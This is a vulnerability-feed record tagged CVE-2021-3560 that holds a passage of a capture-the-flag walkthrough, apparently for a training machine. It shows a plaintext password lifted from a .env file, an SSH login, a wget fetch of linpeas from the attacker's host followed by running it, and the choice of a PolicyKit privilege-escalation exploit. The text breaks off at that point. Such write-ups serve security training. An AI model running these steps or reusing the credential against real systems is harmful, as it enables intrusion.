{"uuid": "c55208b9-123a-48dc-bdc8-682f1fc58829", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/81243", "content": "standard directory (hubot) present in the Dwight home directory.\n\nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKUi0zrKcXzpPnrleTjXVUdVuDC1-vslJWMrG_nVruY7ZKQ8ccYYGkZ0calpgZYaLk28PiHA0ApYT9xV_zi3yQYVsFTYJHJrAEsSbf3bbR29r2ZYeFTiNOLEw5GryuPok9Dv6dGa72rtgMBGtsMUN-KGMT_iTw-QJCOgtgV6kT8Xr4a4rBRkACf8J0hQ/s16000/17.png?w=640&ssl=1 \n\nNext, we checked the non-standard directory and listed all the files present in the hubot and notice there is .env file present there. Let\u2019s talk about the environment files in the Linux system and why it is important to enumerate them.\n\nWhat is env file?\n\n.env files are used to store those variables\u00a0and they should be written in all uppercase separated with underscores for naming convention. we access those variables through process.env after installing dotnev npm package.\n\nWhy it is important to check environment files?\n\nThese environment files may contain password in plain taxed format as well as in base64 format. If an attacker found any secrets from this file, then he/she can leverage a user account.\n\nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQ9KTXy8U0NtSPNTgcSKm6KteH8_U2jxzFFQMAWw37lAaubUMg6tIRDJmA_HWfGZCJgCL0jjPT7A12zhc88qA7ObSTT9nDW833TatC9oGVm0nAWF93bvSEMUekByd9WBGHticCYxgRneVfb9cPvrhZxI1BI4Yj59MWXf_e0KQEwLVvoXbfGAA8Bt-N2Q/s16000/18.png?w=640&ssl=1 \n\nNow we know the importance of the environment files in a Linux distribution. Let\u2019s check .env file to test the theory we have discussed above. We can view the file contests by providing directory path and the file name with file command.\nfile ../hubot/.env \nAs we can see a plain texted password from the .env file. We got the password but not the username so, from the penetration testing methodology we can check this password against all users that we have seen in the messages. We tested obtained password on SSH service against all users and got success on Dwight. \nUsername: dwight\nPassword: Queenofblad3s!23 \nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEilQwsSiUpOqjs59eEf_i8kkzGL_qjLHV5HMniVMxW0coxAe4EzVY7NkVneF9B9VrkVJEf3oDbeMR1VGrq462wOhty2UlQdjh9tyBxyZgWM4jGATuCMHoFMdi6542pnVC5c-h8zFdqQY4Kz-rcDDlS5WFqgZTIjXaXVvAmWQEByaBy6d-qiYqsDjAQopA/s16000/19.png?w=640&ssl=1 User flagWe successfully logged in via SSH as Dwight into the target machine. We can grab the user flag from the user home directory. Also, we need to escalate privilege, so we transferred linpeas script into the target /tmp directory. Please note, we need to setup the python server into our kali machine to transfer the script to the target machine.\u00a0 Also, we have given full permission to the linpeas script to execute it. For more information about Linux file permissions, feel free to visit the below link: https://www.guru99.com/file-permissions.html#:~:text=Linux%20divides%20the%20file%20permissions,ownership%20of%20a%20file%2Fdirectory.\nssh dwight@10.129.74.162\npython3\u00a0-m\u00a0http.server\u00a080\nwget\u00a010.10.14.12/linpeas.sh\nchmod\u00a0777\u00a0linpeas.sh\u00a0\n./linpeas.sh \nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-R3hL-Kzo8T3kNW4gxUPx71lRs4h020ChnU55hHg8nKoBJnUeTF5FgygLbBkWtPKJzA4IuHYpMtXZiIGj48ZX2iJh5izxKl3VdlaOTOa2hcAapBLJeSjS9j5ZFxx4e3ngO6KKI36mZlcqDGcN4murAbTBmibeGf6ah1dpqztS0GFOmjy_jjkAKdM2LA/s16000/20.png?w=640&ssl=1 Privilege EscalationFrom the linpeas output, we saw few CVEs appear as red which means these CVEs could be potential exploits which may help us to escalate privilege to the root account. A privilege escalation attack is a cyberattack designed to gain unauthorized privileged access into a system. Attackers exploit human behaviours, design flaws or oversights in operating systems or web applications. PolicyKit Exploit: CVE-2021-3560After searching those exploits, we found many of them require compiling, so we decided to go with CVE-2021-3560 as all these 3 exploits work similarly based on the target system dependencies. Then we found a nice article about the policy kit exploitation the in the Ha[...]", "creation_timestamp": "2026-09-05T02:00:05.231520Z"}